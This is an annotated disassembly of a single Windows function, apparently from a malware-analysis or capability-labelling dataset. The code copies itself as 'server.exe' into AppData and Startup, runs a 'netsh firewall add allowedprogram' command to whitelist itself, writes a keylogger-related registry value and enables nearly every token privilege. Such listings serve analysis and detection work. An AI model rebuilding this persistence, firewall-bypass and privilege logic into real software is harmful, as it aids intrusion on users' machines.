Function at 0x140001320
Capabilities:
Acquire debug privileges
Copy file
Decode data using base64 via winapi
Encode data using base64 via winapi
Get common file path
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x14003b010]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x140036960]
lea rcx, [rbp + 0x3a0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x140036964]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.140007960
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call fcn.140007960
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call fcn.140007960
mov r8d, 0x104
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000144c
mov r9d, 1
lea rdx, [rbp + 0x3a0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x3a0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x14000144c
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x3a0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x80]
call fcn.140004510
lea rax, [rbp + 0x190]
lea r8, [rbp - 0x80]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001438
add rax, 2
test ecx, ecx
jne 0x140001424
test edx, edx
jne 0x1400016b5
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
mov qword [rsp + 0x6d0], rsi
lea rcx, [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x6d8], rdi
mov r8d, 0x208
call fcn.140007960
mov r8d, 0x104
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000153e
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call fcn.140007960
mov edx, 0x5c
lea rcx, [rbp - 0x80]
call fcn.140007760
lea rcx, [rax + 2]
test rax, rax
jne 0x1400014b6
lea rcx, [rbp - 0x80]
lea rdx, [rbp + 0x190]
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400014c0
lea rdx, [rbp + 0x190]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call fcn.140007960
lea rax, [rbp + 0x190]
mov edx, 0xc8
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3a0]
call fcn.140004510
lea rdx, [rbp + 0x3a0]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x3a0]
call fcn.140004570
mov eax, dword [0x140036960]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x140036964]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.140007960
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call fcn.140007960
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call fcn.140007960
mov r8d, 0x104
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000161e
mov r9d, 1
lea rdx, [rbp + 0x190]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x190]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x14000161e
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x190]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x3a0]
call fcn.140004510
xor r8d, r8d
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor esi, esi
lea rax, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x50], esi
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, esi
lea edx, [rsi + 8]
lea r8d, [rsi + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140001727
mov ecx, eax
call fcn.14000c10c
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.140007960
lea rax, [rsp + 0x50]
mov r9, rbx
lea edx, [rsi + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], sil
je 0x140001727
mov r8d, 1
nop dword [rax]
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x1400016e3
cmp al, 0xa
je 0x1400016e3
inc r8d
jmp 0x140001719
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000144c
lea rcx, [rbp - 0x80]
call fcn.140004570
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, r8d
mov eax, r8d
lea rdx, [rcx + rbx]
movzx ecx, byte [rcx + rbx]
test cl, cl
je 0x140001712
nop word [rax + rax]
inc eax
mov byte [rdx - 1], cl
lea rdx, [rax + rbx]
mov ecx, eax
movzx ecx, byte [rdx]
test cl, cl
jne 0x140001700
mov ecx, eax
mov byte [rcx + rbx - 1], sil
lea eax, [r8 - 1]
cmp byte [rax + rbx], sil
jne 0x1400016a0
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x58], esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rdi, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x14000179b
mov ecx, eax
call fcn.14000c10c
mov rdi, rax
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x58]
mov r9, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rdi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.14000c0f8
mov rcx, rdi
call fcn.14000c0f8
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rdi, qword [rsp + 0x6d8]
test eax, eax
jne 0x14000185d
lea rcx, str.test
mov rax, 0xffffffffffffffff
nop
cmp word [rcx + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x140001810
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x58]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001a37
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0x70], rsi
mov qword [rbp - 0x78], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], rcx
mov rbx, rsi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 0x38], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x40], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x48], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x50], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x58], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0x60], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0x68], rcx
nop dword [rax]
nop dword [rax + rax]
xor ecx, ecx
lea r8, [rsp + 0x64]
mov rdx, rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rbp + rbx*8 - 0x80]
test rax, rax
jne 0x1400019e0
mov rsi, qword [rsp + 0x6d0]
mov eax, 1
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.140004650
mov rbx, qword [rsp + 0x6e0]
add rsp, 0x6c0
pop rbp
ret